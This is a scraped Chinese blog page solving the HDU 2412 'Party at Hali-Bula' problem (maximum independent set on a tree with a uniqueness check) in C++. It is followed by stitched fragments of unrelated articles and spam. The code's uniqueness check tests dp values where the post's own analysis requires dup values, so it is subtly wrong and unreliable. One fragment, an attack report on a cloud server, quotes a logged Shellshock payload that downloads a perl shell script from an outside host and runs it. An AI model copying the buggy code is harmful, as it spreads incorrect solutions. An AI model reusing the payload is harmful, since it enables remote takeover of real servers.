hdu2412 Party at Hali-Bula

题目描述:

n个人形成一个关系树,每个节点代表一个人,节点的根表示这个人的唯一的直接上司,只有根没有上司。要求选取一部分人出来,使得每2个人之间不能有直接的上下级的关系,求最多能选多少个人出来,并且求出获得最大人数的选人方案是否唯一。

解题思路:

模型:树上的最大独立集

方法:树形dp

分析:

dp[u][0]和dup[u][0]表示以u为根的子树中,不选u点得到的最大人数以及方案唯一性(dup[u][0]=1表示唯一,0表示不唯一).

dp[u][1]和dup[u][1]表示以u为根的子树中,选u点得到的最大人数以及方案唯一性(dup[u][1]=1表示唯一,0表示不唯一).

状态转移:

dp[u][1]:由于选了u,所以u的子节点都不能选,因此dp[u][1]=sum{dp[v][0]|v是u的子节点}。当且仅当所有dup[v][0]=1时,dup[u][1]才是1。

dp[u][0]:由于u没有选,所以每个子结点v可选可不选,即dp[u][0]=sum{max(dp[v][0],dp[v][1])}。什么情况下方案是唯一的呢?

1、首先某个dp[v][0]和dp[v][1]相等,则不唯一;

2、如果max取到的那个值对应的dup=0,方案也不唯一(如dp[v][0]>dp[v][1]且dup[v][0]=0,则dup[u][0]=0)

源代码:

#include <iostream>
#include <cstdio>
#include <cstring>
#include <map>
#define MAXN 210
using namespace std;

int n;
int id;
map<string,int> mp;///预处理,建树

int head[MAXN];///链式前向星保存树
struct EdgeNode
{
    int to,next;
} edge[MAXN];
int tol;
void addEdge(int a,int b)
{
    edge[tol].to=b;
    edge[tol].next=head[a];
    head[a]=tol++;
}

int dp[MAXN][2];///保存最大值
int dup[MAXN][2];///唯一性判断

void dfs(int root)
{
    dp[root][0]=0;
    dp[root][1]=1;
    dup[root][0]=1;
    dup[root][1]=1;
    for(int j=head[root]; j!=-1; j=edge[j].next)
    {
        int u=edge[j].to;
        dfs(u);
        dp[root][0]+=max(dp[u][0],dp[u][1]);
        dp[root][1]+=dp[u][0];
        if(dp[u][0]>dp[u][1]&&dp[u][0]==0) dup[root][0]=0;
        else if(dp[u][1]>dp[u][0]&&dp[u][1]==0) dup[root][0]=0;
        else if(dp[u][0]==dp[u][1]) dup[root][0]=0;
        if(dup[u][0]==0) dup[root][1]=0;
    }
}
int main()
{
    string a,b;
    while(cin>>n&&n)
    {
        mp.clear();
        id=1;
        tol=0;
        memset(head,-1,sizeof(head));
        cin>>a;
        mp[a]=id;
        id++;
        for(int i=1; i<=n-1; ++i)
        {
            cin>>a>>b;
            if(mp.find(a)==mp.end())
            {
                mp[a]=id;
                id++;
            }
            if(mp.find(b)==mp.end())
            {
                mp[b]=id;
                id++;
            }
            addEdge((mp.find(b))->second,(mp.find(a))->second);
        }
        memset(dp,0,sizeof(dp));
        dfs(1);
        if(dp[1][0]>dp[1][1]&&dup[1][0]==1) printf("%d Yes\n",dp[1][0]);
        else if(dp[1][1]>dp[1][0]&&dup[1][1]==1) printf("%d Yes\n",dp[1][1]);
        else printf("%d No\n",max(dp[1][0],dp[1][1]));
    }
    return 0;
}

收获:

树上的最大独立集

版权声明:本文为博主原创文章,未经博主允许不得转载。

时间: 2024-10-24 15:39:30

hdu2412 Party at Hali-Bula的相关文章

hdu2412(树形dp)

题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2412 题意:给定一棵关系树 , 从中选择一些点 , 使这些点均不存在亲子关系 , 最多能取多少个点 , 并且判断取法是否唯一 . 分析:如果这题没有判断唯一性,就和hdu1520一样了.设 dp[i][0] 为在以 i 为根的子树中 , 不选择点 i 最多能够选的数目 ,dp[i][1] 为选择 i 点的最多数目 . 状态转移方程 : 当 u 为叶子节点时 : dp[u][0]=0; dp[u][1

poj 3680 Intervals

给定N个带权的开区间,第i个区间覆盖区间(ai,bi),权值为wi.现在要求挑出一些区间使得总权值最大,并且满足实轴上任意一个点被覆盖不超过K次. 1<=K<=N<=200.1<=ai<bi<=100000.1<=wi<=100000. 最小费用最大流. 将所有区间端点离散化到整数1到M,每个数对应一个点. 源点向整数1点连一条容量为K费用为0的边. 整数i点向整数i+1点连一条容量为正无穷费用为0的边.(1<=i<M). 整数M点向汇点连一条容

Unity 多物体联动动画

在网络层,互联网提供所有应用程序都要使用的两种类型的服务,尽管目前理解这些服务的细节并不重要,但在所有TCP/IP概述中,都不能忽略他们: 无连接分组交付服务(Connectionless Packet Delivery Service) 无连接交付抽象地表示大多数分组交换网络都能提供的一种服务.简单地讲,指的是TCP/IP灰暗网按照报文上携带的地址信息把短报文从一台机器传递到另一台机制.因为无连接服务单独传递每个分组,所以不能保证可靠.有序地传递.而且,由于无连接服务通常直接映射到底层的硬件上

数据结构——树

在网络层,互联网提供所有应用程序都要使用的两种类型的服务,尽管目前理解这些服务的细节并不重要,但在所有TCP/IP概述中,都不能忽略他们: 无连接分组交付服务(Connectionless Packet Delivery Service) 无连接交付抽象地表示大多数分组交换网络都能提供的一种服务.简单地讲,指的是TCP/IP灰暗网按照报文上携带的地址信息把短报文从一台机器传递到另一台机制.因为无连接服务单独传递每个分组,所以不能保证可靠.有序地传递.而且,由于无连接服务通常直接映射到底层的硬件上

命令行进度条实现

在网络层,互联网提供所有应用程序都要使用的两种类型的服务,尽管目前理解这些服务的细节并不重要,但在所有TCP/IP概述中,都不能忽略他们: 无连接分组交付服务(Connectionless Packet Delivery Service) 无连接交付抽象地表示大多数分组交换网络都能提供的一种服务.简单地讲,指的是TCP/IP灰暗网按照报文上携带的地址信息把短报文从一台机器传递到另一台机制.因为无连接服务单独传递每个分组,所以不能保证可靠.有序地传递.而且,由于无连接服务通常直接映射到底层的硬件上

Android Studio 插件 GsonFormat :你还在烦恼 为 Json格式 生成 JavaBean实体类吗?

在网络层,互联网提供所有应用程序都要使用的两种类型的服务,尽管目前理解这些服务的细节并不重要,但在所有TCP/IP概述中,都不能忽略他们: 无连接分组交付服务(Connectionless Packet Delivery Service) 无连接交付抽象地表示大多数分组交换网络都能提供的一种服务.简单地讲,指的是TCP/IP灰暗网按照报文上携带的地址信息把短报文从一台机器传递到另一台机制.因为无连接服务单独传递每个分组,所以不能保证可靠.有序地传递.而且,由于无连接服务通常直接映射到底层的硬件上

阿里云ECS被攻击

今天发现阿里云ECS被攻击了,记录一下, /1.1 Match1:{ :;};/usr/bin/perl -e 'print .content-type: text/plain.r.n.r.nxsuccess!.;system(.wget http://lbinvestment.com/shell.txt -o /tmp/shell.txt;curl -o /tmp/shell.txt http://lbinvestment.com/shell.txt;perl /tmp/shell.txt ;

姥宋芈敲敲to7s4j2xrhq

http://wx.233.com/share/2490636http://sina.lt/dAH5http://weibo.com/20151030p/2308373904874373875719?9nnehttp://d.1905.com/space/14114382http://weibo.com/20151030p/2308373903537879893223?2556http://t.cn/RUfprM0?6284http://weibo.com/20151030p/230837390

购买《哈利波特》系列书籍的最低价格

一.题目: 书店针对<哈利波特>系列书籍进行促销活动,一共5卷,用编号0.1.2.3.4表示,单独一卷售价8元, 具体折扣如下所示:                               本数                  折扣                                   2                       5%                                   3                       10%